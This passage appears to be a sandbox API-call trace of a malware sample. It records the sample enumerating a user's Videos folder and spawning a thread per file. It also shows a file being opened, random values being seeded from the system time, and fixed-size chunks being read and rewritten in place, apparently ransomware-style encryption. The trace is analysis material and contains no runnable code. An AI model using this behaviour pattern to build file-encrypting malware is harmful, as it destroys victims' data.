dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202b0510, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x142c [0098.002] FindNextFileW (in: hFindFile=0x1cd9c6d0, lpFindFileData=0x1cd638c0 | out: lpFindFileData=0x1cd638c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd9ceb80, ftCreationTime.dwHighDateTime=0x1d5e189, ftLastAccessTime.dwLowDateTime=0x7c3e1b70, ftLastAccessTime.dwHighDateTime=0x1d5e7f0, ftLastWriteTime.dwLowDateTime=0x7c3e1b70, ftLastWriteTime.dwHighDateTime=0x1d5e7f0, nFileSizeHigh=0x0, nFileSizeLow=0x14e63, dwReserved0=0x0, dwReserved1=0x0, cFileName="INJqd7omecEO_.avi", cAlternateFileName="INJQD7~1.AVI")) returned 1 [0098.002] wcscmp (_String1="INJqd7omecEO_.avi", _String2=".") returned 1 [0098.002] wcscmp (_String1="INJqd7omecEO_.avi", _String2="..") returned 1 [0098.002] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x98) returned 0x202b05b0 [0098.002] wcscpy (in: _Dest=0x202b05b0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QRslyt1kGwVZ4rLiPmrN" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QRslyt1kGwVZ4rLiPmrN") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QRslyt1kGwVZ4rLiPmrN" [0098.002] wcscat (in: _Dest=0x202b05b0, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QRslyt1kGwVZ4rLiPmrN\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QRslyt1kGwVZ4rLiPmrN\\" [0098.003] wcscat (in: _Dest=0x202b05b0, _Source="INJqd7omecEO_.avi" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QRslyt1kGwVZ4rLiPmrN\\INJqd7omecEO_.avi") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QRslyt1kGwVZ4rLiPmrN\\INJqd7omecEO_.avi" [0098.003] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202b05b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1430 [0098.003] FindNextFileW (in: hFindFile=0x1cd9c6d0, lpFindFileData=0x1cd638c0 | out: lpFindFileData=0x1cd638c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf4bd8e0, ftCreationTime.dwHighDateTime=0x1d5e572, ftLastAccessTime.dwLowDateTime=0xf35ca4f0, ftLastAccessTime.dwHighDateTime=0x1d5def0, ftLastWriteTime.dwLowDateTime=0xf35ca4f0, ftLastWriteTime.dwHighDateTime=0x1d5def0, nFileSizeHigh=0x0, nFileSizeLow=0x118ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="KGkfrh6FkeYpfkESZ.swf", cAlternateFileName="KGKFRH~1.SWF")) returned 1 [0098.003] wcscmp (_String1="KGkfrh6FkeYpfkESZ.swf", _String2=".") returned 1 [0098.003] wcscmp (_String1="KGkfrh6FkeYpfkESZ.swf", _String2="..") returned 1 [0098.004] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa0) returned 0x202ad4a0 [0098.004] wcscpy (in: _Dest=0x202ad4a0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QRslyt1kGwVZ4rLiPmrN" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QRslyt1kGwVZ4rLiPmrN") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QRslyt1kGwVZ4rLiPmrN" [0098.004] wcscat (in: _Dest=0x202ad4a0, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QRslyt1kGwVZ4rLiPmrN\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QRslyt1kGwVZ4rLiPmrN\\" [0098.004] wcscat (in: _Dest=0x202ad4a0, _Source="KGkfrh6FkeYpfkESZ.swf" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QRslyt1kGwVZ4rLiPmrN\\KGkfrh6FkeYpfkESZ.swf") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QRslyt1kGwVZ4rLiPmrN\\KGkfrh6FkeYpfkESZ.swf" [0098.004] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202ad4a0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1434 [0098.004] FindNextFileW (in: hFindFile=0x1cd9c6d0, lpFindFileData=0x1cd638c0 | out: lpFindFileData=0x1cd638c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x270681a0, ftCreationTime.dwHighDateTime=0x1d5dcca, ftLastAccessTime.dwLowDateTime=0xe8ef5280, ftLastAccessTime.dwHighDateTime=0x1d5da43, ftLastWriteTime.dwLowDateTime=0xe8ef5280, ftLastWriteTime.dwHighDateTime=0x1d5da43, nFileSizeHigh=0x0, nFileSizeLow=0x2feb, dwReserved0=0x0, dwReserved1=0x0, cFileName="KWbWmaMqF8.flv", cAlternateFileName="KWBWMA~1.FLV")) returned 1 [0098.005] wcscmp (_String1="KWbWmaMqF8.flv", _String2=".") returned 1 [0098.005] wcscmp (_String1="KWbWmaMqF8.flv", _String2="..") returned 1 [0098.005] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x92) returned 0x202b0650 [0098.005] wcscpy (in: _Dest=0x202b0650, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QRslyt1kGwVZ4rLiPmrN" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QRslyt1kGwVZ4rLiPmrN") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QRslyt1kGwVZ4rLiPmrN" [0098.005] wcscat (in: _Dest=0x202b0650, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QRslyt1kGwVZ4rLiPmrN\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QRslyt1kGwVZ4rLiPmrN\\" [0098.005] wcscat (in: _Dest=0x202b0650, _Source="KWbWmaMqF8.flv" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QRslyt1kGwVZ4rLiPmrN\\KWbWmaMqF8.flv") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QRslyt1kGwVZ4rLiPmrN\\KWbWmaMqF8.flv" [0098.005] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202b0650, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1438 [0098.006] FindNextFileW (in: hFindFile=0x1cd9c6d0, lpFindFileData=0x1cd638c0 | out: lpFindFileData=0x1cd638c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdc8093a0, ftCreationTime.dwHighDateTime=0x1d5d92c, ftLastAccessTime.dwLowDateTime=0xedc9700, ftLastAccessTime.dwHighDateTime=0x1d5e2a0, ftLastWriteTime.dwLowDateTime=0xedc9700, ftLastWriteTime.dwHighDateTime=0x1d5e2a0, nFileSizeHigh=0x0, nFileSizeLow=0xc19, dwReserved0=0x0, dwReserved1=0x0, cFileName="tuiaMA7JIkLZXu3hZ8v6.flv", cAlternateFileName="TUIAMA~1.FLV")) returned 1 [0098.006] wcscmp (_String1="tuiaMA7JIkLZXu3hZ8v6.flv", _String2=".") returned 1 [0098.006] wcscmp (_String1="tuiaMA7JIkLZXu3hZ8v6.flv", _String2="..") returned 1 [0098.006] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa6) returned 0x202ad550 [0098.006] wcscpy (in: _Dest=0x202ad550, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QRslyt1kGwVZ4rLiPmrN" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QRslyt1kGwVZ4rLiPmrN") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QRslyt1kGwVZ4rLiPmrN" [0098.006] wcscat (in: _Dest=0x202ad550, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QRslyt1kGwVZ4rLiPmrN\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QRslyt1kGwVZ4rLiPmrN\\" [0098.006] wcscat (in: _Dest=0x202ad550, _Source="tuiaMA7JIkLZXu3hZ8v6.flv" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QRslyt1kGwVZ4rLiPmrN\\tuiaMA7JIkLZXu3hZ8v6.flv") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QRslyt1kGwVZ4rLiPmrN\\tuiaMA7JIkLZXu3hZ8v6.flv" [0098.006] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202ad550, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x143c [0098.007] FindNextFileW (in: hFindFile=0x1cd9c6d0, lpFindFileData=0x1cd638c0 | out: lpFindFileData=0x1cd638c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd19909a0, ftCreationTime.dwHighDateTime=0x1d5df6b, ftLastAccessTime.dwLowDateTime=0x509a33c0, ftLastAccessTime.dwHighDateTime=0x1d5e203, ftLastWriteTime.dwLowDateTime=0x509a33c0, ftLastWriteTime.dwHighDateTime=0x1d5e203, nFileSizeHigh=0x0, nFileSizeLow=0xf279, dwReserved0=0x0, dwReserved1=0x0, cFileName="U9fY5u3prKSza_.swf", cAlternateFileName="U9FY5U~1.SWF")) returned 1 [0098.007] wcscmp (_String1="U9fY5u3prKSza_.swf", _String2=".") returned 1 [0098.007] wcscmp (_String1="U9fY5u3prKSza_.swf", _String2="..") returned 1 [0098.007] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9a) returned 0x202ad600 [0098.007] wcscpy (in: _Dest=0x202ad600, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QRslyt1kGwVZ4rLiPmrN" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QRslyt1kGwVZ4rLiPmrN") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QRslyt1kGwVZ4rLiPmrN" [0098.007] wcscat (in: _Dest=0x202ad600, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QRslyt1kGwVZ4rLiPmrN\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QRslyt1kGwVZ4rLiPmrN\\" [0098.007] wcscat (in: _Dest=0x202ad600, _Source="U9fY5u3prKSza_.swf" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QRslyt1kGwVZ4rLiPmrN\\U9fY5u3prKSza_.swf") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QRslyt1kGwVZ4rLiPmrN\\U9fY5u3prKSza_.swf" [0098.007] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202ad600, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1440 [0098.008] FindNextFileW (in: hFindFile=0x1cd9c6d0, lpFindFileData=0x1cd638c0 | out: lpFindFileData=0x1cd638c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8d795450, ftCreationTime.dwHighDateTime=0x1d5e1a5, ftLastAccessTime.dwLowDateTime=0xd8e68d40, ftLastAccessTime.dwHighDateTime=0x1d5e34e, ftLastWriteTime.dwLowDateTime=0xd8e68d40, ftLastWriteTime.dwHighDateTime=0x1d5e34e, nFileSizeHigh=0x0, nFileSizeLow=0xee38, dwReserved0=0x0, dwReserved1=0x0, cFileName="Uc2J0BjLvl.avi", cAlternateFileName="UC2J0B~1.AVI")) returned 1 [0098.008] wcscmp (_String1="Uc2J0BjLvl.avi", _String2=".") returned 1 [0098.008] wcscmp (_String1="Uc2J0BjLvl.avi", _String2="..") returned 1 [0098.008] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x92) returned 0x202b06f0 [0098.008] wcscpy (in: _Dest=0x202b06f0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QRslyt1kGwVZ4rLiPmrN" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QRslyt1kGwVZ4rLiPmrN") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QRslyt1kGwVZ4rLiPmrN" [0098.008] wcscat (in: _Dest=0x202b06f0, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QRslyt1kGwVZ4rLiPmrN\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QRslyt1kGwVZ4rLiPmrN\\" [0098.009] wcscat (in: _Dest=0x202b06f0, _Source="Uc2J0BjLvl.avi" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QRslyt1kGwVZ4rLiPmrN\\Uc2J0BjLvl.avi") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QRslyt1kGwVZ4rLiPmrN\\Uc2J0BjLvl.avi" [0098.009] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202b06f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1444 [0098.010] FindNextFileW (in: hFindFile=0x1cd9c6d0, lpFindFileData=0x1cd638c0 | out: lpFindFileData=0x1cd638c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71b00460, ftCreationTime.dwHighDateTime=0x1d5ddce, ftLastAccessTime.dwLowDateTime=0xf73dab30, ftLastAccessTime.dwHighDateTime=0x1d5e7ad, ftLastWriteTime.dwLowDateTime=0xf73dab30, ftLastWriteTime.dwHighDateTime=0x1d5e7ad, nFileSizeHigh=0x0, nFileSizeLow=0x14fbf, dwReserved0=0x0, dwReserved1=0x0, cFileName="vRtzPJ5uqEr2d-.flv", cAlternateFileName="VRTZPJ~1.FLV")) returned 1 [0098.010] wcscmp (_String1="vRtzPJ5uqEr2d-.flv", _String2=".") returned 1 [0098.010] wcscmp (_String1="vRtzPJ5uqEr2d-.flv", _String2="..") returned 1 [0098.010] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9a) returned 0x202ad6b0 [0098.010] wcscpy (in: _Dest=0x202ad6b0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QRslyt1kGwVZ4rLiPmrN" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QRslyt1kGwVZ4rLiPmrN") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QRslyt1kGwVZ4rLiPmrN" [0098.010] wcscat (in: _Dest=0x202ad6b0, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QRslyt1kGwVZ4rLiPmrN\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QRslyt1kGwVZ4rLiPmrN\\" [0098.010] wcscat (in: _Dest=0x202ad6b0, _Source="vRtzPJ5uqEr2d-.flv" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QRslyt1kGwVZ4rLiPmrN\\vRtzPJ5uqEr2d-.flv") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QRslyt1kGwVZ4rLiPmrN\\vRtzPJ5uqEr2d-.flv" [0098.010] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202ad6b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1448 [0098.011] FindNextFileW (in: hFindFile=0x1cd9c6d0, lpFindFileData=0x1cd638c0 | out: lpFindFileData=0x1cd638c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7da2e8b0, ftCreationTime.dwHighDateTime=0x1d5e5d9, ftLastAccessTime.dwLowDateTime=0xdf5d3ef0, ftLastAccessTime.dwHighDateTime=0x1d5dc67, ftLastWriteTime.dwLowDateTime=0xdf5d3ef0, ftLastWriteTime.dwHighDateTime=0x1d5dc67, nFileSizeHigh=0x0, nFileSizeLow=0x10b65, dwReserved0=0x0, dwReserved1=0x0, cFileName="Yu db4qKs0XX_.mkv", cAlternateFileName="YUDB4Q~1.MKV")) returned 1 [0098.011] wcscmp (_String1="Yu db4qKs0XX_.mkv", _String2=".") returned 1 [0098.011] wcscmp (_String1="Yu db4qKs0XX_.mkv", _String2="..") returned 1 [0098.011] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x98) returned 0x202b0790 [0098.011] wcscpy (in: _Dest=0x202b0790, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QRslyt1kGwVZ4rLiPmrN" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QRslyt1kGwVZ4rLiPmrN") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QRslyt1kGwVZ4rLiPmrN" [0098.011] wcscat (in: _Dest=0x202b0790, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QRslyt1kGwVZ4rLiPmrN\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QRslyt1kGwVZ4rLiPmrN\\" [0098.011] wcscat (in: _Dest=0x202b0790, _Source="Yu db4qKs0XX_.mkv" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QRslyt1kGwVZ4rLiPmrN\\Yu db4qKs0XX_.mkv") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QRslyt1kGwVZ4rLiPmrN\\Yu db4qKs0XX_.mkv" [0098.011] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202b0790, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x144c [0098.012] FindNextFileW (in: hFindFile=0x1cd9c6d0, lpFindFileData=0x1cd638c0 | out: lpFindFileData=0x1cd638c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7da2e8b0, ftCreationTime.dwHighDateTime=0x1d5e5d9, ftLastAccessTime.dwLowDateTime=0xdf5d3ef0, ftLastAccessTime.dwHighDateTime=0x1d5dc67, ftLastWriteTime.dwLowDateTime=0xdf5d3ef0, ftLastWriteTime.dwHighDateTime=0x1d5dc67, nFileSizeHigh=0x0, nFileSizeLow=0x10b65, dwReserved0=0x0, dwReserved1=0x0, cFileName="Yu db4qKs0XX_.mkv", cAlternateFileName="YUDB4Q~1.MKV")) returned 0 [0098.012] FindClose (in: hFindFile=0x1cd9c6d0 | out: hFindFile=0x1cd9c6d0) returned 1 [0098.012] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd638c0) returned 1 [0098.012] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b866540) returned 1 [0098.012] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8665c0) returned 1 Thread: id = 570 os_tid = 0xeac [0094.634] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rqnRGBhBme6RT.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\rqnrgbhbme6rt.swf")) returned 0x20 [0094.635] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rqnRGBhBme6RT.swf", dwFileAttributes=0x20) returned 1 [0094.635] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rqnRGBhBme6RT.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\rqnrgbhbme6rt.swf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xdac [0094.635] GetFileSizeEx (in: hFile=0xdac, lpFileSize=0x258cfac0 | out: lpFileSize=0x258cfac0*=81624) returned 1 [0094.635] SetFilePointerEx (in: hFile=0xdac, liDistanceToMove=0x13ed4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.635] ReadFile (in: hFile=0xdac, lpBuffer=0x258cfa40, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x258cfa88, lpOverlapped=0x0 | out: lpBuffer=0x258cfa40*, lpNumberOfBytesRead=0x258cfa88*=0x4, lpOverlapped=0x0) returned 1 [0094.636] SetFilePointerEx (in: hFile=0xdac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.636] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fd90 [0094.636] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fd30 [0094.636] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fcd0 [0094.636] NtQuerySystemTime (in: CurrentTime=0x258cf980 | out: CurrentTime=0x258cf980*=132462177004714000) returned 0x0 [0094.636] RtlRandomEx (in: Seed=0x258cf970 | out: Seed=0x258cf970) returned 0x770170d1 [0094.636] RtlRandomEx (in: Seed=0x258cf970 | out: Seed=0x258cf970) returned 0x3d2172da [0094.636] RtlRandomEx (in: Seed=0x258cf970 | out: Seed=0x258cf970) returned 0x6bd6ec30 [0094.636] RtlRandomEx (in: Seed=0x258cf970 | out: Seed=0x258cf970) returned 0x53eddf9f [0094.637] RtlRandomEx (in: Seed=0x258cf970 | out: Seed=0x258cf970) returned 0x5829a92f [0094.637] RtlRandomEx (in: Seed=0x258cf970 | out: Seed=0x258cf970) returned 0x3053bc41 [0094.637] RtlRandomEx (in: Seed=0x258cf970 | out: Seed=0x258cf970) returned 0x5e89816e [0094.637] RtlRandomEx (in: Seed=0x258cf970 | out: Seed=0x258cf970) returned 0x40e0a05c [0094.637] RtlRandomEx (in: Seed=0x258cf970 | out: Seed=0x258cf970) returned 0x7c02f1cc [0094.637] RtlRandomEx (in: Seed=0x258cf970 | out: Seed=0x258cf970) returned 0x3a438e82 [0094.637] RtlRandomEx (in: Seed=0x258cf970 | out: Seed=0x258cf970) returned 0x1201f21c [0094.637] RtlRandomEx (in: Seed=0x258cf970 | out: Seed=0x258cf970) returned 0x1dd2cdad [0094.637] RtlRandomEx (in: Seed=0x258cf970 | out: Seed=0x258cf970) returned 0x574521a9 [0094.637] RtlRandomEx (in: Seed=0x258cf970 | out: Seed=0x258cf970) returned 0x1930ee32 [0094.637] RtlRandomEx (in: Seed=0x258cf970 | out: Seed=0x258cf970) returned 0x216130eb [0094.637] RtlRandomEx (in: Seed=0x258cf970 | out: Seed=0x258cf970) returned 0xa792016 [0094.637] RtlRandomEx (in: Seed=0x258cf970 | out: Seed=0x258cf970) returned 0x70800ca7 [0094.637] RtlRandomEx (in: Seed=0x258cf970 | out: Seed=0x258cf970) returned 0x4943342d [0094.637] RtlRandomEx (in: Seed=0x258cf970 | out: Seed=0x258cf970) returned 0x37fa18c7 [0094.637] RtlRandomEx (in: Seed=0x258cf970 | out: Seed=0x258cf970) returned 0x121c5fd6 [0094.637] RtlRandomEx (in: Seed=0x258cf970 | out: Seed=0x258cf970) returned 0x7405be82 [0094.637] RtlRandomEx (in: Seed=0x258cf970 | out: Seed=0x258cf970) returned 0x3708bbbc [0094.637] RtlRandomEx (in: Seed=0x258cf970 | out: Seed=0x258cf970) returned 0x79d549e2 [0094.637] RtlRandomEx (in: Seed=0x258cf970 | out: Seed=0x258cf970) returned 0x390e0da9 [0094.637] RtlRandomEx (in: Seed=0x258cf970 | out: Seed=0x258cf970) returned 0x740b554a [0094.637] RtlRandomEx (in: Seed=0x258cf970 | out: Seed=0x258cf970) returned 0x3d806117 [0094.637] RtlRandomEx (in: Seed=0x258cf970 | out: Seed=0x258cf970) returned 0x6a2f0a5e [0094.637] RtlRandomEx (in: Seed=0x258cf970 | out: Seed=0x258cf970) returned 0x586fd54c [0094.637] RtlRandomEx (in: Seed=0x258cf970 | out: Seed=0x258cf970) returned 0xfb38b69 [0094.637] RtlRandomEx (in: Seed=0x258cf970 | out: Seed=0x258cf970) returned 0x33ebd794 [0094.637] RtlRandomEx (in: Seed=0x258cf970 | out: Seed=0x258cf970) returned 0x272a8f39 [0094.637] RtlRandomEx (in: Seed=0x258cf970 | out: Seed=0x258cf970) returned 0x7caf5673 [0094.646] SetFilePointerEx (in: hFile=0xdac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.646] ReadFile (in: hFile=0xdac, lpBuffer=0x201ee130, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x258cf9e0, lpOverlapped=0x0 | out: lpBuffer=0x201ee130*, lpNumberOfBytesRead=0x258cf9e0*=0x3c00, lpOverlapped=0x0) returned 1 [0094.646] SetFilePointerEx (in: hFile=0xdac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.646] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97300 [0094.646] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8664c0 [0094.646] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fd90 [0094.646] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85fd90) returned 1 [0094.647] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x201f1d40 [0094.647] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fd90 [0094.647] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fcd0 [0094.647] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85fcd0) returned 1 [0094.647] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8664c0) returned 1 [0094.647] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97300) returned 1 [0094.647] WriteFile (in: hFile=0xdac, lpBuffer=0x201f1d40*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x258cf9e0, lpOverlapped=0x0 | out: lpBuffer=0x201f1d40*, lpNumberOfBytesWritten=0x258cf9e0*=0x3c00, lpOverlapped=0x0) returned 1 [0094.649] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201f1d40) returned 1 [0094.649] SetFilePointerEx (in: hFile=0xdac, liDistanceToMove=0xb400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.649] ReadFile (in: hFile=0xdac, lpBuffer=0x201ee130, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x258cf9e0, lpOverlapped=0x0 | out: lpBuffer=0x201ee130*, lpNumberOfBytesRead=0x258cf9e0*=0x3c00, lpOverlapped=0x0) returned 1 [0094.649] SetFilePointerEx (in: hFile=0xdac, liDistanceToMove=0xb400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.649] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97300 [0094.649] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8664c0 [0094.649] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fcd0 [0094.649] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85fcd0) returned 1 [0094.649] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x201f1d40 [0094.649] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fcd0 [0094.649] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fca0 [0094.650] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85fca0) returned 1 [0094.650] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8664c0) returned 1 [0094.650] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97300) returned 1 [0094.650] WriteFile (in: hFile=0xdac, lpBuffer=0x201f1d40*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x258cf9e0, lpOverlapped=0x0 | out: lpBuffer=0x201f1d40*, 